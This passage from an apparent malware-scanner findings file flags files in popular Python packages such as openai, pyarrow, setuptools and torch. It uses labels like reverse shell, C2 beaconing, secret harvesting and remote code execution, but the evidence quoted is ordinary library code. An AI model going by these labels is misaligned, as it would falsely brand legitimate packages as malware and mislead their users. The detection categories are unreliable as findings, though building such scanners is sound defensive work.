exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", - "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" - }, - { - "package": "openai", - "file": "openai/_base_client.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L264: while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b", - "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14" - }, - { - "package": "openai", - "file": "openai/_client.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", - "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" - }, - { - "package": "openai", - "file": "openai/auth/_workload.py", - "check": "Accesses cloud metadata/IMDS AND makes network calls", - "severity": "CRITICAL", - "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | L108: with httpx.Client() as client: | L133: http_client: httpx.Client | None = None, | L155: with httpx.Client() as client: | L248: with httpx.Client() as client:", - "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567" - }, - { - "package": "openai", - "file": "openai/lib/azure.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", - "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" - }, - { - "package": "openai", - "file": "openai/lib/bedrock.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", - "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" - }, - { - "package": "openai", - "file": "openai/resources/beta/threads/runs/runs.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1074: while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f", - "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99" - }, - { - "package": "openai", - "file": "openai/resources/realtime/realtime.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L310: while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05", - "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89" - }, - { - "package": "openai", - "file": "openai/resources/responses/responses.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L3803: while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f", - "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7" - }, - { - "package": "openai", - "file": "openai/resources/vector_stores/file_batches.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", - "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" - }, - { - "package": "openai", - "file": "openai/resources/vector_stores/files.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", - "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" - }, - { - "package": "openai", - "file": "openai/resources/videos.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", - "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" - }, - { - "package": "pillow", - "file": "PIL/Image.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:", - "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" - }, - { - "package": "protobuf", - "file": "protobuf-3.19.6-nspkg.pth", - "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", - "severity": "CRITICAL", - "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", - "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" - }, - { - "package": "protobuf", - "file": "protobuf-3.19.6-nspkg.pth", - "check": "Unusually large executable .pth (539 bytes)", - "severity": "HIGH", - "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", - "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" - }, - { - "package": "ptyprocess", - "file": "ptyprocess/_fork_pty.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", - "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" - }, - { - "package": "pyarrow", - "file": "pyarrow/tests/conftest.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", - "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" - }, - { - "package": "pyarrow", - "file": "pyarrow/tests/test_extension_type.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", - "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" - }, - { - "package": "pyarrow", - "file": "pyarrow/tests/test_flight.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", - "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" - }, - { - "package": "pyarrow", - "file": "pyarrow/tests/test_orc.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", - "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" - }, - { - "package": "pyarrow", - "file": "pyarrow/tests/util.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", - "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" - }, - { - "package": "pyarrow", - "file": "pyarrow/util.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", - "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" - }, - { - "package": "pygments", - "file": "pygments/formatters/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", - "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" - }, - { - "package": "pygments", - "file": "pygments/formatters/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L103: exec(f.read(), custom_namespace)", - "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" - }, - { - "package": "pygments", - "file": "pygments/lexers/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", - "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" - }, - { - "package": "pygments", - "file": "pygments/lexers/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L154: exec(f.read(), custom_namespace)", - "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" - }, - { - "package": "pygments", - "file": "pygments/lexers/_mysql_builtins.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", - "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" - }, - { - "package": "pygments", - "file": "pygments/lexers/_php_builtins.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", - "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" - }, - { - "package": "pyperclip", - "file": "pyperclip/__init__.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", - "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" - }, - { - "package": "python-dateutil", - "file": "dateutil/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" - }, - { - "package": "rich", - "file": "rich/ansi.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L229: pty.spawn(sys.argv[1:], read)", - "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" - }, - { - "package": "rich", - "file": "rich/console.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", - "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" - }, - { - "package": "rich-rst", - "file": "rich_rst/_vendor/docutils/readers/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", - "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" - }, - { - "package": "rich-rst", - "file": "rich_rst/_vendor/docutils/writers/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", - "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" - }, - { - "package": "scikit-learn", - "file": "sklearn/datasets/_openml.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", - "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" - }, - { - "package": "scikit-learn", - "file": "sklearn/datasets/_openml.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", - "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" - }, - { - "package": "scikit-learn", - "file": "sklearn/externals/array_api_compat/cupy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" - }, - { - "package": "scikit-learn", - "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" - }, - { - "package": "scikit-learn", - "file": "sklearn/externals/array_api_compat/numpy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", - "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" - }, - { - "package": "scikit-learn", - "file": "sklearn/externals/array_api_compat/torch/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", - "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" - }, - { - "package": "scikit-learn", - "file": "sklearn/externals/array_api_compat/torch/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" - }, - { - "package": "scikit-learn", - "file": "sklearn/svm/tests/test_svm.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", - "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" - }, - { - "package": "scipy", - "file": "scipy/_external/array_api_compat/cupy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" - }, - { - "package": "scipy", - "file": "scipy/_external/array_api_compat/dask/array/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" - }, - { - "package": "scipy", - "file": "scipy/_external/array_api_compat/numpy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", - "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" - }, - { - "package": "scipy", - "file": "scipy/_external/array_api_compat/torch/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" - }, - { - "package": "scipy", - "file": "scipy/optimize/_optimize.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", - "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" - }, - { - "package": "sentencepiece", - "file": "sentencepiece/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", - "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" - }, - { - "package": "setuptools", - "file": "distutils-precedence.pth", - "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", - "severity": "CRITICAL", - "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", - "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" - }, - { - "package": "setuptools", - "file": "pkg_resources/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", - "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" - }, - { - "package": "setuptools", - "file": "setuptools/_distutils/compilers/C/base.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):", - "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" - }, - { - "package": "setuptools", - "file": "setuptools/_distutils/tests/test_build_ext.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", - "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" - }, - { - "package": "setuptools", - "file": "setuptools/_vendor/jaraco/context/__init__.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", - "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" - }, - { - "package": "setuptools", - "file": "setuptools/launch.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", - "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" - }, - { - "package": "setuptools", - "file": "setuptools/tests/config/test_pyprojecttoml.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", - "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" - }, - { - "package": "setuptools", - "file": "setuptools/tests/test_editable_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)", - "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" - }, - { - "package": "setuptools", - "file": "setuptools/wheel.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", - "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" - }, - { - "package": "six", - "file": "six.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", - "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" - }, - { - "package": "sympy", - "file": "sympy/external/importtools.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", - "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" - }, - { - "package": "sympy", - "file": "sympy/external/importtools.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L154: __import__(module + '.' + submod)", - "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" - }, - { - "package": "sympy", - "file": "sympy/plotting/experimental_lambdify.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", - "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" - }, - { - "package": "sympy", - "file": "sympy/utilities/lambdify.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", - "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" - }, - { - "package": "tensorboard", - "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", - "check": "Python wheel ships large JS bundle (uncommon; manually review)", - "severity": "HIGH", - "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", - "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" - }, - { - "package": "tiktoken", - "file": "tiktoken/load.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", - "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" - }, - { - "package": "torch", - "file": "functorch/dim/magic_trace.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", - "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" - }, - { - "package": "torch", - "file": "torch/_dynamo/bytecode_debugger.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)\nExec: L683: result = eval(arg, frame_globals, eval_locals) | L708: result = eval(cmd, frame_globals, eval_locals) | L716: exec(cmd, frame_globals, eval_locals)", - "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" - }, - { - "package": "torch", - "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", - "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" - }, - { - "package": "torch", - "file": 